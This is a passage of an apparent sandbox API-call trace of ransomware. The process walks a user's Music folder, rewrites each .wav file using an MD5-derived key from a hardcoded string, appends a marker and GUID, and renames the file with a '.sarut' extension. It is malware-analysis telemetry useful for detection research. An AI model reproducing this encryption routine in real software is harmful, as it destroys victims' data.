out: lpNewFilePointer=0x0) returned 1 [0269.002] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff19f8 [0269.002] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x428) returned 0x712110 [0269.002] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", cchWideChar=-1, lpMultiByteStr=0x712110, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", lpUsedDefaultChar=0x0) returned 41 [0269.002] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x430) returned 0x30b3078 [0269.003] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x712110 | out: hHeap=0x640000) returned 1 [0269.003] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff19f8 | out: hHeap=0x640000) returned 1 [0269.003] WriteFile (in: hFile=0x5c4, lpBuffer=0x30b3078*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30b3078*, lpNumberOfBytesWritten=0x387fb2c*=0x28, lpOverlapped=0x0) returned 1 [0269.003] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30b3078 | out: hHeap=0x640000) returned 1 [0269.003] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0269.003] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x387fb2c*=0x26, lpOverlapped=0x0) returned 1 [0269.003] CloseHandle (hObject=0x5c4) returned 1 [0269.008] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x70) returned 0x30826c0 [0269.008] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x870) returned 0x311d708 [0269.008] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30826c0 | out: hHeap=0x640000) returned 1 [0269.008] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\EfZdtNhwP.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\efzdtnhwp.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\EfZdtNhwP.wav.sarut" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\efzdtnhwp.wav.sarut")) returned 1 [0269.009] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0269.009] VirtualFree (lpAddress=0x1fa0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0269.010] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7211f0 | out: hHeap=0x640000) returned 1 [0269.010] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c47d750, ftCreationTime.dwHighDateTime=0x1d4cdd9, ftLastAccessTime.dwLowDateTime=0x99d93be0, ftLastAccessTime.dwHighDateTime=0x1d4c624, ftLastWriteTime.dwLowDateTime=0x99d93be0, ftLastWriteTime.dwHighDateTime=0x1d4c624, nFileSizeHigh=0x0, nFileSizeLow=0x65dd, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Hgc-ATkiW0nvYtLeb_2n.wav", cAlternateFileName="HGC-AT~1.WAV")) returned 1 [0269.010] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x31169c8 [0269.010] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa51f8 [0269.010] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31169c8 | out: hHeap=0x640000) returned 1 [0269.010] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Hgc-ATkiW0nvYtLeb_2n.wav") returned=".wav" [0269.010] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Hgc-ATkiW0nvYtLeb_2n.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\hgc-atkiw0nvytleb_2n.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0269.011] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x387fb4c | out: lpFileSize=0x387fb4c*=26077) returned 1 [0269.011] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1fa0000 [0269.013] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x65b7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0269.013] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x387fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb7c*=0x26, lpOverlapped=0x0) returned 1 [0269.015] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab728 [0269.015] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab728 | out: hHeap=0x640000) returned 1 [0269.015] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0269.015] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x387fb78, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb78*=0x65dd, lpOverlapped=0x0) returned 1 [0269.016] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0269.016] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x25) returned 0x3097270 [0269.016] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0269.016] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0269.016] CryptAcquireContextW (in: phProv=0x387fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x387fa94*=0x2fa5060) returned 1 [0269.017] CryptCreateHash (in: hProv=0x2fa5060, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x387fa9c | out: phHash=0x387fa9c) returned 1 [0269.017] CryptHashData (hHash=0x3091560, pbData=0x3097270, dwDataLen=0x25, dwFlags=0x0) returned 1 [0269.017] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x0, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x387fa98) returned 1 [0269.017] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x11) returned 0x3069588 [0269.017] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x3069588, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x3069588, pdwDataLen=0x387fa98) returned 1 [0269.017] GetLastError () returned 0x0 [0269.018] CryptDestroyHash (hHash=0x3091560) returned 1 [0269.018] CryptReleaseContext (hProv=0x2fa5060, dwFlags=0x0) returned 1 [0269.018] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3097270 | out: hHeap=0x640000) returned 1 [0269.018] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x65e0) returned 0x311d708 [0269.018] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0269.018] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab728 | out: hHeap=0x640000) returned 1 [0269.018] WriteFile (in: hFile=0x5c4, lpBuffer=0x311d708*, nNumberOfBytesToWrite=0x65d8, lpNumberOfBytesWritten=0x387fb24, lpOverlapped=0x0 | out: lpBuffer=0x311d708*, lpNumberOfBytesWritten=0x387fb24*=0x65d8, lpOverlapped=0x0) returned 1 [0269.018] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0269.018] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x65dd, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0269.018] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff19f8 [0269.018] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x428) returned 0x712110 [0269.018] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", cchWideChar=-1, lpMultiByteStr=0x712110, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", lpUsedDefaultChar=0x0) returned 41 [0269.018] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x430) returned 0x30b3078 [0269.018] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x712110 | out: hHeap=0x640000) returned 1 [0269.018] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff19f8 | out: hHeap=0x640000) returned 1 [0269.018] WriteFile (in: hFile=0x5c4, lpBuffer=0x30b3078*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30b3078*, lpNumberOfBytesWritten=0x387fb2c*=0x28, lpOverlapped=0x0) returned 1 [0269.019] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30b3078 | out: hHeap=0x640000) returned 1 [0269.019] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0269.019] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x387fb2c*=0x26, lpOverlapped=0x0) returned 1 [0269.019] CloseHandle (hObject=0x5c4) returned 1 [0269.020] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5060 [0269.020] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x890) returned 0x311d708 [0269.020] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5060 | out: hHeap=0x640000) returned 1 [0269.020] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Hgc-ATkiW0nvYtLeb_2n.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\hgc-atkiw0nvytleb_2n.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Hgc-ATkiW0nvYtLeb_2n.wav.sarut" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\hgc-atkiw0nvytleb_2n.wav.sarut")) returned 1 [0269.021] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0269.021] VirtualFree (lpAddress=0x1fa0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0269.022] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa51f8 | out: hHeap=0x640000) returned 1 [0269.022] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd45d2610, ftCreationTime.dwHighDateTime=0x1d4cc63, ftLastAccessTime.dwLowDateTime=0xa4814960, ftLastAccessTime.dwHighDateTime=0x1d4c88c, ftLastWriteTime.dwLowDateTime=0xa4814960, ftLastWriteTime.dwHighDateTime=0x1d4c88c, nFileSizeHigh=0x0, nFileSizeLow=0x6416, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HLn_CQ4.wav", cAlternateFileName="")) returned 1 [0269.022] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x31169c8 [0269.022] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x76) returned 0x7211f0 [0269.022] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31169c8 | out: hHeap=0x640000) returned 1 [0269.022] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\HLn_CQ4.wav") returned=".wav" [0269.022] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\HLn_CQ4.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\hln_cq4.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0269.025] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x387fb4c | out: lpFileSize=0x387fb4c*=25622) returned 1 [0269.025] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1fa0000 [0269.027] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x63f0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0269.027] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x387fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb7c*=0x26, lpOverlapped=0x0) returned 1 [0269.029] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab728 [0269.029] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab728 | out: hHeap=0x640000) returned 1 [0269.029] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0269.029] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x387fb78, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb78*=0x6416, lpOverlapped=0x0) returned 1 [0269.031] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0269.031] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x25) returned 0x3097270 [0269.031] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0269.031] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0269.031] CryptAcquireContextW (in: phProv=0x387fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x387fa94*=0x2fa51f8) returned 1 [0269.032] CryptCreateHash (in: hProv=0x2fa51f8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x387fa9c | out: phHash=0x387fa9c) returned 1 [0269.032] CryptHashData (hHash=0x3091560, pbData=0x3097270, dwDataLen=0x25, dwFlags=0x0) returned 1 [0269.032] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x0, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x387fa98) returned 1 [0269.032] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x11) returned 0x3069588 [0269.032] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x3069588, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x3069588, pdwDataLen=0x387fa98) returned 1 [0269.032] GetLastError () returned 0x0 [0269.032] CryptDestroyHash (hHash=0x3091560) returned 1 [0269.032] CryptReleaseContext (hProv=0x2fa51f8, dwFlags=0x0) returned 1 [0269.032] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3097270 | out: hHeap=0x640000) returned 1 [0269.032] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x6420) returned 0x311d708 [0269.032] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0269.032] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab728 | out: hHeap=0x640000) returned 1 [0269.033] WriteFile (in: hFile=0x5c4, lpBuffer=0x311d708*, nNumberOfBytesToWrite=0x6411, lpNumberOfBytesWritten=0x387fb24, lpOverlapped=0x0 | out: lpBuffer=0x311d708*, lpNumberOfBytesWritten=0x387fb24*=0x6411, lpOverlapped=0x0) returned 1 [0269.033] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0269.033] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x6416, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0269.033] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff19f8 [0269.033] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x428) returned 0x712110 [0269.033] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", cchWideChar=-1, lpMultiByteStr=0x712110, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", lpUsedDefaultChar=0x0) returned 41 [0269.033] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x430) returned 0x30b3078 [0269.033] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x712110 | out: hHeap=0x640000) returned 1 [0269.033] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff19f8 | out: hHeap=0x640000) returned 1 [0269.033] WriteFile (in: hFile=0x5c4, lpBuffer=0x30b3078*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30b3078*, lpNumberOfBytesWritten=0x387fb2c*=0x28, lpOverlapped=0x0) returned 1 [0269.033] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30b3078 | out: hHeap=0x640000) returned 1 [0269.033] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0269.033] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x387fb2c*=0x26, lpOverlapped=0x0) returned 1 [0269.033] CloseHandle (hObject=0x5c4) returned 1 [0269.036] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff19f8 [0269.036] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x870) returned 0x311d708 [0269.036] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff19f8 | out: hHeap=0x640000) returned 1 [0269.036] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\HLn_CQ4.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\hln_cq4.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\HLn_CQ4.wav.sarut" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\hln_cq4.wav.sarut")) returned 1 [0269.037] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0269.037] VirtualFree (lpAddress=0x1fa0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0269.038] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7211f0 | out: hHeap=0x640000) returned 1 [0269.038] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd0e9770, ftCreationTime.dwHighDateTime=0x1d4d1af, ftLastAccessTime.dwLowDateTime=0xa5258a60, ftLastAccessTime.dwHighDateTime=0x1d4cd47, ftLastWriteTime.dwLowDateTime=0xa5258a60, ftLastWriteTime.dwHighDateTime=0x1d4cd47, nFileSizeHigh=0x0, nFileSizeLow=0x14bf1, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="iYZ-gLKtWydBalI Lxxb.wav", cAlternateFileName="IYZ-GL~1.WAV")) returned 1 [0269.038] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x31169c8 [0269.038] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa51f8 [0269.038] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31169c8 | out: hHeap=0x640000) returned 1 [0269.038] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\iYZ-gLKtWydBalI Lxxb.wav") returned=".wav" [0269.038] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\iYZ-gLKtWydBalI Lxxb.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\iyz-glktwydbali lxxb.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0269.039] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x387fb4c | out: lpFileSize=0x387fb4c*=84977) returned 1 [0269.039] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1fa0000 [0269.041] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x14bcb, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0269.041] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x387fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb7c*=0x26, lpOverlapped=0x0) returned 1 [0269.043] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab728 [0269.043] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab728 | out: hHeap=0x640000) returned 1 [0269.043] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0269.043] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x387fb78, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb78*=0x14bf1, lpOverlapped=0x0) returned 1 [0269.044] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0269.044] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x25) returned 0x3097270 [0269.044] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0269.044] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0269.044] CryptAcquireContextW (in: phProv=0x387fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x387fa94*=0x2fa5060) returned 1 [0269.045] CryptCreateHash (in: hProv=0x2fa5060, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x387fa9c | out: phHash=0x387fa9c) returned 1 [0269.045] CryptHashData (hHash=0x3091560, pbData=0x3097270, dwDataLen=0x25, dwFlags=0x0) returned 1 [0269.045] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x0, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x387fa98) returned 1 [0269.045] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x11) returned 0x3069588 [0269.045] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x3069588, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x3069588, pdwDataLen=0x387fa98) returned 1 [0269.045] GetLastError () returned 0x0 [0269.045] CryptDestroyHash (hHash=0x3091560) returned 1 [0269.045] CryptReleaseContext (hProv=0x2fa5060, dwFlags=0x0) returned 1 [0269.045] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3097270 | out: hHeap=0x640000) returned 1 [0269.045] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x14bf0) returned 0x311d708 [0269.046] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0269.046] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab728 | out: hHeap=0x640000) returned 1 [0269.046] WriteFile (in: hFile=0x5c4, lpBuffer=0x311d708*, nNumberOfBytesToWrite=0x14bec, lpNumberOfBytesWritten=0x387fb24, lpOverlapped=0x0 | out: lpBuffer=0x311d708*, lpNumberOfBytesWritten=0x387fb24*=0x14bec, lpOverlapped=0x0) returned 1 [0269.046] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0269.046] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x14bf1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0269.046] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff19f8 [0269.046] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x428) returned 0x712110 [0269.046] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", cchWideChar=-1, lpMultiByteStr=0x712110, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", lpUsedDefaultChar=0x0) returned 41 [0269.046] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x430) returned 0x30b3078 [0269.047] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x712110 | out: hHeap=0x640000) returned 1 [0269.047] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff19f8 | out: hHeap=0x640000) returned 1 [0269.047] WriteFile (in: hFile=0x5c4, lpBuffer=0x30b3078*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30b3078*, lpNumberOfBytesWritten=0x387fb2c*=0x28, lpOverlapped=0x0) returned 1 [0269.047] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30b3078 | out: hHeap=0x640000) returned 1 [0269.047] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0269.047] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x387fb2c*=0x26, lpOverlapped=0x0) returned 1 [0269.047] CloseHandle (hObject=0x5c4) returned 1 [0269.052] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5060 [0269.052] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x890) returned 0x311d708 [0269.052] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5060 | out: hHeap=0x640000) returned 1 [0269.052] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\iYZ-gLKtWydBalI Lxxb.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\iyz-glktwydbali lxxb.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\iYZ-gLKtWydBalI Lxxb.wav.sarut" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\iyz-glktwydbali lxxb.wav.sarut")) returned 1 [0269.053] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0269.053] VirtualFree (lpAddress=0x1fa0000, dwSize=0x0, 